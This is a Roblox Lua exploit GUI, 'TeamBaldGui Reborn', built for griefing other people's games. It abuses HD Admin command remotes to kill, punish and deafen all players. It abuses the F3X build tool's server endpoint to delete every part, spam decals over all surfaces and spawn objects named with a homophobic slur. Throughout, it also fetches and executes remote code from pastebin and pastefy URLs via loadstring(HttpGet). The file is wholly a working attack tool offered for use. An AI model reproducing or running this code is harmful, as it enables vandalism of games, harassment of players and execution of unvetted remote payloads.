-- if you skid thiz gui and you not leave me a credit you are a veri bad person :( local player = game.Players.LocalPlayer local replicatedStorage = game:GetService("ReplicatedStorage") local gui = Instance.new("ScreenGui") gui.Name = "TeamBaldGuiReborn" gui.Parent = player:WaitForChild("PlayerGui") gui.ResetOnSpawn = false local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 400, 0, 500) mainFrame.Position = UDim2.new(0.5, -200, 0.5, -250) mainFrame.BackgroundColor3 = Color3.new(0, 0, 0) mainFrame.BorderColor3 = Color3.new(1, 1, 1) mainFrame.BorderSizePixel = 3 mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = gui local bg = Instance.new("ImageLabel") bg.Size = UDim2.new(1, 0, 1, 0) bg.BackgroundTransparency = 1 bg.Image = "rbxassetid://139296137142213" bg.ImageTransparency = 0.4 bg.Parent = mainFrame local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 50) title.BackgroundTransparency = 0 title.BackgroundColor3 = Color3.new(0, 0, 0) title.BorderColor3 = Color3.new(1, 1, 1) title.BorderSizePixel = 2 title.Text = "TeamBaldGui Reborn" title.TextColor3 = Color3.new(1, 1, 1) title.Font = Enum.Font.SourceSansBold title.TextScaled = true title.Parent = mainFrame local scrollFrame = Instance.new("ScrollingFrame") scrollFrame.Size = UDim2.new(1, -10, 1, -60) scrollFrame.Position = UDim2.new(0, 5, 0, 55) scrollFrame.BackgroundTransparency = 1 scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0) scrollFrame.ScrollBarThickness = 10 scrollFrame.Parent = mainFrame local listLayout = Instance.new("UIListLayout") listLayout.SortOrder = Enum.SortOrder.LayoutOrder listLayout.Padding = UDim.new(0, 5) listLayout.Parent = scrollFrame local function CreateButton(name) local btn = Instance.new("TextButton") btn.Size = UDim2.new(1, 0, 0, 40) btn.BackgroundColor3 = Color3.new(0, 0, 0) btn.BorderColor3 = Color3.new(1, 1, 1) btn.BorderSizePixel = 2 btn.TextColor3 = Color3.new(1, 1, 1) btn.Text = name btn.Font = Enum.Font.SourceSansBold btn.TextScaled = true btn.Parent = scrollFrame return btn end local music1 = CreateButton("Music 1") local music2 = CreateButton("Music 2") local music3 = CreateButton("Music 3") local decal1 = CreateButton("DecalSpam 1") local decal2 = CreateButton("DecalSpam 2") local decal3 = CreateButton("DecalSpam 3") local decal4 = CreateButton("DecalSpam 4") local discoBtn = CreateButton("Disco") local hsxxBtn = CreateButton("Hint") listLayout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function() scrollFrame.CanvasSize = UDim2.new(0, 0, 0, listLayout.AbsoluteContentSize.Y + 10) end) local RequestCommand = replicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand music1.MouseButton1Click:Connect(function() RequestCommand:InvokeServer(";music 83768677244386") RequestCommand:InvokeServer(";Volume 25") end) music2.MouseButton1Click:Connect(function() RequestCommand:InvokeServer(";music 127653283576622") RequestCommand:InvokeServer(";pitch 0.74") RequestCommand:InvokeServer(";volume 40") end) music3.MouseButton1Click:Connect(function() RequestCommand:InvokeServer(";music 110587373430189") RequestCommand:InvokeServer(";pitch 0.17") RequestCommand:InvokeServer(";volume inf") end) local function DecalSpam(assetId) local tool for _, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for _, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end if not tool then return end local remote = tool.SyncAPI.ServerEndpoint local function _(args) remote:InvokeServer(unpack(args)) end local function SpawnDecal(part, side) local args = {"CreateTextures", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal"}}} _(args) end local function AddDecal(part, asset, side) local args = {"SyncTexture", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://" .. asset}}} _(args) end for _, v in workspace:GetDescendants() do if v:IsA("BasePart") then task.spawn(function() for _, face in ipairs(Enum.NormalId:GetEnumItems()) do SpawnDecal(v, face) AddDecal(v, assetId, face) end end) end end end decal1.MouseButton1Click:Connect(function() DecalSpam(139296137142213) end) decal2.MouseButton1Click:Connect(function() DecalSpam(131896798036661) end) decal3.MouseButton1Click:Connect(function() DecalSpam(73522481447287) end) decal4.MouseButton1Click:Connect(function() DecalSpam(101173298982351) end) discoBtn.MouseButton1Click:Connect(function() RequestCommand:InvokeServer(";disco") RequestCommand:InvokeServer(";kill all") end) hsxxBtn.MouseButton1Click:Connect(function() RequestCommand:InvokeServer(";h THIS GAME IS HAXXORED BY TEAMBALD") RequestCommand:InvokeServer(";h LMAO TEAMBALD HAXED YOUR GAME LOLZZ") end) local sky1 = CreateButton("Skybox 1") sky1.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/eMFC32H0"))() end) local epik = CreateButton("Epik Skeleton Sky") epik.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/XAgyaQKp"))() end) local sky2 = CreateButton("Skybox 2") sky2.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/tRCYYvR3"))() end) local sparklesAll = CreateButton("Sparkles All") sparklesAll.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastefy.app/nrNgKPBI/raw"))() end) local sparklesAll = CreateButton("Joblify") sparklesAll.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/0Q1tjkc8"))() end) local sparklesAll = CreateButton("Fire all") sparklesAll.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/MBF1xR9P"))() end) local sparklesAll = CreateButton("666") sparklesAll.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/Zv3QMGj2"))() end) local sparklesAll = CreateButton("Big Head all") sparklesAll.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/uySTmniR"))() end) local sparklesAll = CreateButton("Germany music") sparklesAll.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/54XkwkFr"))() end) local sparklesAll = CreateButton("TeamBald Rain") sparklesAll.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function Sky(id) local hrp = char:WaitForChild("HumanoidRootPart") local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0))) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then SetAnchor(true, v) AddMesh(v) SetMesh(v, "14832966960") SetTexture(v, id) MeshResize(v, Vector3.new(0, 0, 0)) end end end local function createRainToads() while true do wait(0.01) -- Here they change the appearance time of the Toads or other meshes if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-600, 600) local randint2 = math.random(-600, 600) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc))) for i, v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v, "Get trolled u fagz") -- Here the name of the toad changes SetAnchor(false, v) AddMesh(v) Resize(v, Vector3.new(50, 50, 50), v.CFrame) MeshResize(v, Vector3.new(15, 15, 15)) SetMesh(v, "4348287910") -- Here put it A custom mesh SetTexture(v, "73522481447287") -- X2 SetCollision(v, false) v.Orientation = Vector3.new(0, 0, 0) v.CFrame = v.CFrame + Vector3.new(0, 0, 0) local sound = Instance.new("Sound", v) sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear sound.Volume = 0 sound.PlayOnRemove = true sound:Destroy() end end end) else wait(1) end end end coroutine.wrap(createRainToads)() Sky("73522481447287") end) local sparklesAll = CreateButton("Realm") -- btw this realm was taked from th0qu1nZ sparklesAll.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local rc = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent rc:InvokeServer("!btools me") wait(0.4) rc:InvokeServer("!punish all") wait(0.1) local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function delete(part) local args = { [1] = "Remove", [2] = { [1] = part } } serverendpoint:InvokeServer(unpack(args)) end local function deleteall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() delete(v) end) end end end deleteall() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer("!fogcolor black") local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmaterial(part,mate,trans) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = mate } } } serverendpoint:InvokeServer(unpack(args)) end local function transparency(part,trans) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = trans } } } serverendpoint:InvokeServer(unpack(args)) end local function color(part, color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshid(part, id) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..id } } } serverendpoint:InvokeServer(unpack(args)) end local function makemesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshsize(part, vectora) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = vectora } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshtexture(part, id) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..id } } } serverendpoint:InvokeServer(unpack(args)) end local function name(part, stringa) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringa } serverendpoint:InvokeServer(unpack(args)) end local function lock(part, boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } serverendpoint:InvokeServer(unpack(args)) end local function setcollision(part, booleana) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = booleana } } } serverendpoint:InvokeServer(unpack(args)) end local function setanchor(part, boolean) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } serverendpoint:InvokeServer(unpack(args)) end local function createdecal(part, side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } serverendpoint:InvokeServer(unpack(args)) end local function setdecal(part, asset, side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } serverendpoint:InvokeServer(unpack(args)) end local function makerealmbase() local position = CFrame.new(0, 0, 0) local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace) resize(base, Vector3.new(100,1,100), position) syncmaterial(base, Enum.Material.WoodPlanks) color(base, Color3.fromRGB(67,67,67)) name(base, "T0qu1nzZlel") lock(base, true) local spawnpos = CFrame.new(0,0.5,0) local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace) resize(spawna, Vector3.new(20, 0.001, 20), spawnpos) name(spawna, "SpawnLocation") lock(spawna, true) createdecal(spawna, Enum.NormalId.Top) setdecal(spawna, "128277505600421", Enum.NormalId.Top) -- ganti decalnya pake decal lu transparency(spawna, 1) local pos = CFrame.new(26,12,0) local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace) transparency(rules, 0) setcollision(rules, false) createdecal(rules, Enum.NormalId.Left) setdecal(rules, "73522481447287", Enum.NormalId.Left) color(rules, Color3.new(0, 0, 0)) resize(rules, Vector3.new(4, 40, 45), pos) end local function sky() local position = CFrame.new(0.00, 0.5, -25.80) local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace) makemesh(sky) syncmeshid(sky, "11560435386") syncmeshtexture(sky, "0") syncmeshsize(sky, Vector3.new(3,3,3)) lock(sky, true) name(sky, "fi bu") setcollision(sky, false) end local function unanchorall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() setanchor(v, false) end) end end end local function realm() sky() makerealmbase() end realm() wait(3) RequestCommand:InvokeServer("!res all") wait(0.3) RequestCommand:InvokeServer("!res all") RequestCommand:InvokeServer(";music 87174269808530") RequestCommand:InvokeServer(";pitch 0.13") RequestCommand:InvokeServer(";volume inf") end) -- Decal remover local decalRemover = CreateButton("Decal remover") decalRemover.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/R0hwX9SR"))() end) -- Mario.EXE local marioExe = CreateButton("Mario.EXE") marioExe.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/dDuAFwLx"))() end) -- c00lify local coolify = CreateButton("c00lify") coolify.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/srFEQUrN"))() end) -- Explode all local explodeAll = CreateButton("Explode all") explodeAll.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/Hm4N5Efd"))() end) -- Smoke all local smokeAll = CreateButton("Smoke all") smokeAll.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/qRsg2hii"))() end) -- Spin all local spinAll = CreateButton("Spin all") spinAll.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/7RVCmBD0"))() end) -- Get F3X local getF3X = CreateButton("Get F3X") getF3X.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/FjmUyeH3"))() end) local getF3X = CreateButton("Bypassed Audio") getF3X.MouseButton1Click:Connect(function() RequestCommand:InvokeServer(";music 112226782551255") RequestCommand:InvokeServer(";pitch 0.12") RequestCommand:InvokeServer(";volume 3") end) local getF3X = CreateButton("Bypassed Audio2") getF3X.MouseButton1Click:Connect(function() RequestCommand:InvokeServer(";music 135125762857428") RequestCommand:InvokeServer(";pitch 0.2") RequestCommand:InvokeServer(";volume 3") end) local getF3X = CreateButton("Anime Music") getF3X.MouseButton1Click:Connect(function() RequestCommand:InvokeServer(";music 85199696816042") RequestCommand:InvokeServer(";pitch 0.12") RequestCommand:InvokeServer(";volume 3") end) local getF3X = CreateButton("Bypassed Decal") getF3X.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("119814853791278") -- Replace with your decal ID end) local getF3X = CreateButton("Bypassed Decal2") getF3X.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("106773523140180") -- Replace with your decal ID end) local getF3X = CreateButton("Shedletsky") getF3X.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/b28ffptw"))() end) local getF3X = CreateButton("TeamBald Particals") getF3X.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/T1KKfyrN"))() end)